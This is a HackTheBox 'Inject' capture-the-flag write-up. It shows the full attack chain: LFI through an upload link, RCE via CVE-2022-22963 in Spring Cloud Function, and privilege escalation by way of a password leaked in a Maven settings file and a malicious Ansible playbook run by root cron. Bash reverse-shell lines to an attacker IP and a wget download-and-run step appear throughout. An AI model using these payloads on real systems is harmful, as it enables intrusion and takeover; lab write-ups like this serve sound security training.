HackTheBox - Inject Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ nmap -A -T5 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 15:38 CET
Nmap scan report for 10.10.11.204
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.37 seconds
Web Enumeration #
Let’s look at the website:
Next we enumerate the subdirectories:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ gobuster dir -k --url http://10.10.11.204:8080 -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.204:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 500,503,404,400
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/23 15:42:38 Starting gobuster in directory enumeration mode
===============================================================
/register (Status: 200) [Size: 5654]
/blogs (Status: 200) [Size: 5371]
/upload (Status: 200) [Size: 1857]
We can see that there is an upload page:
Foothold #
LFI #
The upload form only accepts images. After some time testing for a file upload vulnerability, we can see that when we upload a valid image, a link is returned:
We test the img
parameter for a LFI vulnerability and it works ! We got the /etc/passwd
file:
After some enumeration, we decide to enumerate the /var/www
directory:
The WebApp
caught our attention, so let’s enumerate it:
There is a pom.xml
file so let’s look at the dependencies used:
A Project Object Model or POM is the fundamental unit of work in Maven. It is an XML file that contains information about the project and configuration details used by Maven to build the project. It contains default values for most projects. Examples for this is the build directory, which is target; the source directory, which is src/main/java; the test source directory, which is
src/test/java
; and so on. When executing a task or goal, Maven looks for the POM in the current directory. It reads the POM, gets the needed configuration information, then executes the goal.
Some of the configuration that can be specified in the POM are the project dependencies, the plugins or goals that can be executed, the build profiles, and so on. Other information such as the project version, description, developers, mailing lists and such can also be specified.
Here is the complete file:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
RCE #
Next, we search artifacts on
https://mvnrepository.com to look for vulnerabilities. And we found one interesting CVE for spring-cloud-function-web - 3.2.2
:
So, we understand that there is an RCE on this version.
Let’s use the exploit to get a shell on the host. Firstly, we create a reverse shell and we run a simple http server:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ cat test.sh
bash -i >& /dev/tcp/10.10.14.85/1234 0>&1
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Also, we start a listener:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
Then, we target the vulnerable routing function to inject our code:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject/CVE-2022-22963-PoC]
└─$ python exploit.py 10.10.11.204:8080 'wget http://10.10.14.85:8000/test.sh -O /tmp/reverse.sh'
{"timestamp":"2023-03-24T09:45:36.524+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject/CVE-2022-22963-PoC]
└─$ python exploit.py 10.10.11.204:8080 'chmod +x /tmp/reverse.sh'
{"timestamp":"2023-03-24T09:45:46.768+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject/CVE-2022-22963-PoC]
└─$ python exploit.py 10.10.11.204:8080 'bash /tmp/reverse.sh'
{"timestamp":"2023-03-24T09:45:59.259+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
Then, we got a shell:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.204] 45246
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
User PrivEsc #
Now, let’s enumerate the /home/frank
:
bash-5.0$ ls -la
ls -la
total 3064
drwxr-xr-x 6 frank frank 4096 Mar 24 10:04 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwx------ 3 frank frank 4096 Mar 24 10:04 .gnupg
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
-rw-rw-r-- 1 root root 3104768 Mar 24 09:37 pspy64
bash-5.0$ ls -la .m2
ls -la .m2
total 12
drwx------ 2 frank frank 4096 Feb 1 18:38 .
drwxr-xr-x 6 frank frank 4096 Mar 24 10:04 ..
-rw-r----- 1 root frank 617 Jan 31 16:55 settings.xml
bash-5.0$ cat .m2/settings.xml
cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
And we got phil’s passwords on the settings.xml
file. Let’s elevate to him:
bash-5.0$ su phil
su phil
Password: DocPhillovestoInject123
bash-5.0$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
bash-5.0$ cd /home/phil
cd /home/phil
bash-5.0$ ls -la
ls -la
total 28
drwxr-xr-x 4 phil phil 4096 Mar 24 10:07 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
lrwxrwxrwx 1 root root 9 Feb 1 07:40 .bash_history -> /dev/null
-rw-r--r-- 1 phil phil 3771 Feb 25 2020 .bashrc
drwx------ 2 phil phil 4096 Feb 1 18:38 .cache
drwxrwxr-x 3 phil phil 4096 Mar 24 10:06 .local
-rw-r--r-- 1 phil phil 807 Feb 25 2020 .profile
-rw-r----- 1 root phil 33 Mar 24 09:26 user.txt
bash-5.0$ cat user.txt
cat user.txt
078bb1f2033b24053982c48f26dafd08
Root PrivEsc #
Cron #
We can see that there is an ansible
playbook on the host:
bash-5.0$ ls -la /opt/
ls -la /opt/
total 12
drwxr-xr-x 3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 18 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 root root 4096 Oct 20 04:23 automation
bash-5.0$ ls -la /opt/automation
ls -la /opt/automation
total 12
drwxr-xr-x 3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 3 root root 4096 Oct 20 04:23 ..
drwxrwxr-x 2 root staff 4096 Mar 24 10:28 tasks
bash-5.0$ ls -la /opt/automation/tasks
ls -la /opt/automation/tasks
total 12
drwxrwxr-x 2 root staff 4096 Mar 24 10:28 .
drwxr-xr-x 3 root root 4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root 150 Mar 24 10:28 playbook_1.yml
bash-5.0$ cat /opt/automation/tasks/playbook_1.yml
cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
There is probably a cron
running this playbook. Let’s monitor the processes with pspy64
:
bash-5.0$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
...
2023/03/24 10:33:34 CMD: UID=0 PID=73006 | /bin/bash -p
2023/03/24 10:34:02 CMD: UID=0 PID=73015 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
2023/03/24 10:34:02 CMD: UID=0 PID=73014 | /usr/sbin/CRON -f
2023/03/24 10:34:02 CMD: UID=0 PID=73013 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
2023/03/24 10:34:02 CMD: UID=0 PID=73012 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2023/03/24 10:34:02 CMD: UID=0 PID=73011 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
2023/03/24 10:34:02 CMD: UID=0 PID=73010 | /usr/sbin/CRON -f
2023/03/24 10:34:02 CMD: UID=0 PID=73009 | /usr/sbin/CRON -f
2023/03/24 10:34:02 CMD: UID=0 PID=73008 | /usr/sbin/CRON -f
2023/03/24 10:34:02 CMD: UID=0 PID=73017 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/24 10:34:03 CMD: UID=0 PID=73023 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/24 10:34:03 CMD: UID=0 PID=73042 | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py
2023/03/24 10:34:03 CMD: UID=0 PID=73041 | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py && sleep 0
2023/03/24 10:34:03 CMD: UID=0 PID=73040 | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py && sleep 0'
2023/03/24 10:34:03 CMD: UID=0 PID=73046 | /usr/bin/python3 -Es /usr/bin/lsb_release -a
2023/03/24 10:34:03 CMD: UID=0 PID=73050 | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py
2023/03/24 10:34:04 CMD: UID=0 PID=73061 | /usr/bin/lspci -D
2023/03/24 10:34:04 CMD: UID=0 PID=73072 | /usr/bin/sg_inq /dev/loop3
2023/03/24 10:34:04 CMD: UID=0 PID=73074 | /sbin/lvs --noheadings --nosuffix --units g --separator ,
2023/03/24 10:34:04 CMD: UID=0 PID=73075 | /sbin/pvs --noheadings --nosuffix --units g --separator ,
2023/03/24 10:34:04 CMD: UID=0 PID=73085 | /usr/bin/python3 -Es /usr/bin/lsb_release -a
2023/03/24 10:34:04 CMD: UID=0 PID=73093 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/24 10:34:05 CMD: UID=0 PID=73112 | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654044.8444421-73093-244944458043980/AnsiballZ_systemd.py
2023/03/24 10:34:05 CMD: UID=0 PID=73111 | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654044.8444421-73093-244944458043980/AnsiballZ_systemd.py && sleep 0
2023/03/24 10:34:05 CMD: UID=0 PID=73110 | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654044.8444421-73093-244944458043980/AnsiballZ_systemd.py && sleep 0'
As the /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
is ran by the cron
with root privileges, we can put a malicious playbook.yml
under /usr/local/bin/ansible-parallel /opt/automation/tasks/
and he will be executed because of the star.
So, we can see that it is possible for staff
members to create a playbook.
bash-5.0$ ls -la
ls -la
total 12
drwxrwxr-x 2 root staff 4096 Mar 24 10:38 .
drwxr-xr-x 3 root root 4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root 150 Mar 24 10:38 playbook_1.yml
bash-5.0$ groups
groups
phil staff
Let’s create a playbook that is a reverse shell:
- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1'
And we got a shell !
──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.204] 42310
bash: cannot set terminal process group (6320): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# id
id
uid=0(root) gid=0(root) groups=0(root)